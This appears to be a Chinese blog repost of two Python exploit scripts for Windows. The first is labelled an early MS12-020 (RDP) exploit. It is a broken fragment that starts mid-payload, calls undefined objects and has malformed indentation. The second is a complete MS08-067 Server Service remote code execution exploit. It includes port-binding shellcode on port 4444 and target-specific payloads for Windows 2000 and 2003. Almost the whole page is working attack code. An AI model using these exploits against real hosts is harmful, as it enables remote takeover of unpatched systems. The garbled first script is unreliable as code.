payload += '\x4c\x30\x4b\x6c\x4b\x51\x4f\x65\x4c\x65\x51\x38\x6b\x77\x73\x36'
payload += '\x4c\x4e\x6b\x6e\x69\x30\x6c\x66\x44\x45\x4c\x30\x61\x69\x53\x30'
payload += '\x31\x79\x4b\x43\x54\x6c\x4b\x63\x73\x44\x70\x4e\x6b\x77\x30\x66'
payload += '\x6c\x6c\x4b\x72\x50\x45\x4c\x4c\x6d\x4e\x6b\x73\x70\x64\x48\x73'
payload += '\x6e\x55\x38\x6e\x6e\x32\x6e\x34\x4e\x58\x6c\x62\x70\x39\x6f\x6b'
payload += '\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63'
payload += '\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a'
payload += '\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f'
payload += '\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73'
payload += '\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c'
payload += '\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70'
payload += '\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61'
payload += '\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33'
payload += '\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32'
payload += '\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e'
payload += '\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39'
payload += '\x6f\x78\x50\x33\x58\x6b\x55\x51\x59\x4e\x66\x50\x49\x51\x47\x39'
payload += '\x6f\x48\x56\x32\x70\x32\x74\x62\x74\x46\x35\x4b\x4f\x38\x50\x6e'
payload += '\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e'
payload += '\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51'
payload += '\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64'
payload += '\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37'
payload += '\x41\x6b\x70\x7a\x53\x6e\x4a\x69\x6e\x32\x62\x46\x4d\x6b\x4e\x70'
payload += '\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e'
payload += '\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73'
payload += '\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61'
payload += '\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78'
payload += '\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e'
payload += '\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30'
payload += '\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b'
payload += '\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b'
payload += '\x4f\x69\x46\x4b\x4f\x6e\x30\x68';

class SRVSVC_Exploit(Thread):
    def __init__(self, target, port=3389):
        super(SRVSVC_Exploit, self).__init__()
        self.__port   = port
        self.target   = target

    def __DCEPacket(self):
        print '[-]Connecting'
        self.__trans = rdp.transport.cert('rdp_np:%s\\x00\\x89]' % self.target)
        self.__trans.connect()
        print '[-]connected' % self.target

        # Making teh packet
        self.__stub='\x01\x00\x00\x00'
        self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
        self.__stub+=shellcode
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x00\x00\x00\x00'
        self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
        self.__stub+=payload
        self.__stub+='\x00\x00\x00\x00'
        self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
        self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
        self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
        self.__stub+='\x01\x00\x00\x00\x90\x90\xb0\x53\x6b\xC0\x28\x03\xd8\xff\xd3'
        return

    def run(self):
        self.__DCEPacket()
        self.__dce.call(0x1f, self.__stub)
        print '[-]Exploit successfull!...\nTelnet to port 4444 on target machine.'

if __name__ == '__main__':
          target = sys.argv[1]
          print '\nUsage: %s <target ip> \n' % sys.argv[0]
        sys.exit(-1)

current = SRVSVC_Exploit(target)
current.start()



早期 ms12-020 exp py 
====================================================================
MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3)
====================================================================

#!/usr/bin/env python
#############################################################################
#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
#   www.hackingspirits.com
#   www.coffeeandsecurity.com
#   Email: d3basis.m0hanty @ gmail.com
#############################################################################

import struct
import sys

from threading import Thread    #Thread is imported incase you would like to modify
                                #the src to run against multiple targets.

try:
    from impacket import smb
    from impacket import uuid
    from impacket.dcerpc import dcerpc
    from impacket.dcerpc import transport
except ImportError, _:
    print 'Install the following library to make this script work'
    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
    sys.exit(1)


print '#######################################################################'
print '#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
print '#   www.hackingspirits.com'
print '#   www.coffeeandsecurity.com'
print '#   Email: d3basis.m0hanty @ gmail.com'
print '#######################################################################\n'


#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"


#Payload for Windows 2000 target
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\xeb\xcc'
payload_1+='\x00\x00'

#Payload for Windows 2003[SP2] target
payload_2='\x41\x00\x5c\x00'
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'


if sys.argv[2]=='1':    #Windows 2000 Payload
    payload=payload_1
    print '[-]Windows 2000 payload loaded'
if sys.argv[2]=='2':    #Windows 2003[SP2] Payload
    payload=payload_2
    print '[-]Windows 2003[SP2] payload loaded'


class SRVSVC_Exploit(Thread):
    def __init__(self, target, osver, port=445):
        super(SRVSVC_Exploit, self).__init__()
        self.__port   = port
        self.target   = target
        self.osver   = osver

    def __DCEPacket(self):
        print '[-]Initiating connection'
        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
        self.__trans.connect()
        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
        self.__dce = self.__trans.DCERPC_class(self.__trans)
        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
        
        # Constructing Malicious Packet
        self.__stub='\x01\x00\x00\x00'
        self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
        self.__stub+=shellcode
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x00\x00\x00\x00'
        self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
        self.__stub+=payload
        self.__stub+='\x00\x00\x00\x00'
        self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
        self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
        self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
        self.__stub+='\x01\x00\x00\x00'
        return

    def run(self):
        self.__DCEPacket()
        self.__dce.call(0x1f, self.__stub)   #0x1f (or 31)- NetPathCanonicalize Operation
        print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'

if __name__ == '__main__':
       try:
               target = sys.argv[1]
               osver = sys.argv[2]
       except IndexError:
               print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]
               print 'Example: srvsvcexpl.py 192.168.1.1 2\n'
               print 'Select OS Version'
               print '[-]Windows 2000: OS Version = 1'
               print '[-]Windows 2003[SP2]: OS Version = 2'

               sys.exit(-1)

current = SRVSVC_Exploit(target, osver)
current.start()
#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'




你可能感兴趣的:(c,windows,脚本,测试,import,byte)